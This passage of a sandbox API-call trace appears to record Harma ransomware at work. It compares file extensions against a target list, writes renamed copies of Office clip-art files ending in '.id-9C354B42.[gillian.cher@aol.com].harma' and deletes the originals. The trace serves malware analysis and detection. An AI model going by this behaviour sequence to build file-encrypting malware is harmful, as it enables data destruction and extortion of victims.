63 [0147.709] lstrlenW (lpString=".dbf") returned 4 [0147.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.709] lstrlenW (lpString=".1cd") returned 4 [0147.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.709] lstrlenW (lpString=".jpg") returned 4 [0147.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.709] lstrlenW (lpString=".doc") returned 4 [0147.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString=".docx") returned 5 [0147.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.709] lstrlenW (lpString=".pdf") returned 4 [0147.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString=".xls") returned 4 [0147.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.709] lstrlenW (lpString=".xlsx") returned 5 [0147.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.709] lstrlenW (lpString=".ppt") returned 4 [0147.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.709] lstrlenW (lpString=".zip") returned 4 [0147.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.709] lstrlenW (lpString=".rar") returned 4 [0147.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.709] lstrlenW (lpString=".bz2") returned 4 [0147.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.710] lstrlenW (lpString=".7z") returned 3 [0147.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.710] lstrlenW (lpString=".dbf") returned 4 [0147.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.710] lstrlenW (lpString=".1cd") returned 4 [0147.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0147.710] lstrlenW (lpString=".jpg") returned 4 [0147.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.710] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.710] lstrlenW (lpString="BS00444_.WMF") returned 12 [0147.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.947] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3896) returned 1 [0147.947] CloseHandle (hObject=0x20c) returned 1 [0147.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0147.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0147.947] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.947] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0147.948] GetLastError () returned 0x0 [0147.948] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xf38, lpOverlapped=0x0) returned 1 [0148.126] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0148.402] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.402] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.402] SetEndOfFile (hFile=0x33c) returned 1 [0148.403] CloseHandle (hObject=0x33c) returned 1 [0148.403] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.403] SetEndOfFile (hFile=0x20c) returned 1 [0148.405] CloseHandle (hObject=0x20c) returned 1 [0148.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.504] lstrlenW (lpString=".doc") returned 4 [0148.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString=".docx") returned 5 [0148.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.504] lstrlenW (lpString=".pdf") returned 4 [0148.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString=".xls") returned 4 [0148.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.504] lstrlenW (lpString=".xlsx") returned 5 [0148.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.504] lstrlenW (lpString=".ppt") returned 4 [0148.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString=".zip") returned 4 [0148.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.505] lstrlenW (lpString=".rar") returned 4 [0148.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString=".bz2") returned 4 [0148.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString=".7z") returned 3 [0148.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString=".dbf") returned 4 [0148.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString=".1cd") returned 4 [0148.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString=".jpg") returned 4 [0148.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.505] lstrlenW (lpString=".doc") returned 4 [0148.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString=".docx") returned 5 [0148.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.505] lstrlenW (lpString=".pdf") returned 4 [0148.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.505] lstrlenW (lpString=".xls") returned 4 [0148.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.506] lstrlenW (lpString=".xlsx") returned 5 [0148.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.506] lstrlenW (lpString=".ppt") returned 4 [0148.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.506] lstrlenW (lpString=".zip") returned 4 [0148.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.506] lstrlenW (lpString=".rar") returned 4 [0148.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.506] lstrlenW (lpString=".bz2") returned 4 [0148.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.506] lstrlenW (lpString=".7z") returned 3 [0148.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.506] lstrlenW (lpString=".dbf") returned 4 [0148.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.506] lstrlenW (lpString=".1cd") returned 4 [0148.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0148.506] lstrlenW (lpString=".jpg") returned 4 [0148.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.506] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.507] lstrlenW (lpString="BS01603_.WMF") returned 12 [0148.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.508] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7176) returned 1 [0148.508] CloseHandle (hObject=0x33c) returned 1 [0148.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0148.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.508] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.508] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.509] GetLastError () returned 0x0 [0148.509] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0148.511] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0148.512] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.512] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.512] SetEndOfFile (hFile=0x340) returned 1 [0148.512] CloseHandle (hObject=0x340) returned 1 [0148.512] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.512] SetEndOfFile (hFile=0x33c) returned 1 [0148.515] CloseHandle (hObject=0x33c) returned 1 [0148.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.516] lstrlenW (lpString=".doc") returned 4 [0148.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".docx") returned 5 [0148.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.516] lstrlenW (lpString=".pdf") returned 4 [0148.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".xls") returned 4 [0148.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.516] lstrlenW (lpString=".xlsx") returned 5 [0148.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.516] lstrlenW (lpString=".ppt") returned 4 [0148.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.516] lstrlenW (lpString=".zip") returned 4 [0148.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.516] lstrlenW (lpString=".rar") returned 4 [0148.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".bz2") returned 4 [0148.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.516] lstrlenW (lpString=".7z") returned 3 [0148.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString=".dbf") returned 4 [0148.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString=".1cd") returned 4 [0148.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString=".jpg") returned 4 [0148.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString=".doc") returned 4 [0148.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".docx") returned 5 [0148.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.517] lstrlenW (lpString=".pdf") returned 4 [0148.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".xls") returned 4 [0148.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.517] lstrlenW (lpString=".xlsx") returned 5 [0148.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.517] lstrlenW (lpString=".ppt") returned 4 [0148.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.517] lstrlenW (lpString=".zip") returned 4 [0148.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.517] lstrlenW (lpString=".rar") returned 4 [0148.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.517] lstrlenW (lpString=".bz2") returned 4 [0148.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.518] lstrlenW (lpString=".7z") returned 3 [0148.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.518] lstrlenW (lpString=".dbf") returned 4 [0148.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.518] lstrlenW (lpString=".1cd") returned 4 [0148.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0148.518] lstrlenW (lpString=".jpg") returned 4 [0148.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.518] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.518] lstrlenW (lpString="BS01634_.WMF") returned 12 [0148.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.519] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3494) returned 1 [0148.519] CloseHandle (hObject=0x33c) returned 1 [0148.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0148.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.519] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.519] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.520] GetLastError () returned 0x0 [0148.520] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xda6, lpOverlapped=0x0) returned 1 [0148.530] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0148.531] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.531] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.531] SetEndOfFile (hFile=0x340) returned 1 [0148.531] CloseHandle (hObject=0x340) returned 1 [0148.531] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.531] SetEndOfFile (hFile=0x33c) returned 1 [0148.533] CloseHandle (hObject=0x33c) returned 1 [0148.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0148.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.534] lstrlenW (lpString=".doc") returned 4 [0148.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.534] lstrlenW (lpString=".docx") returned 5 [0148.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.534] lstrlenW (lpString=".pdf") returned 4 [0148.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.534] lstrlenW (lpString=".xls") returned 4 [0148.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.534] lstrlenW (lpString=".xlsx") returned 5 [0148.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.535] lstrlenW (lpString=".ppt") returned 4 [0148.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW (lpString=".zip") returned 4 [0148.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.535] lstrlenW (lpString=".rar") returned 4 [0148.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString=".bz2") returned 4 [0148.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString=".7z") returned 3 [0148.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW (lpString=".dbf") returned 4 [0148.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW (lpString=".1cd") returned 4 [0148.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW (lpString=".jpg") returned 4 [0148.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW 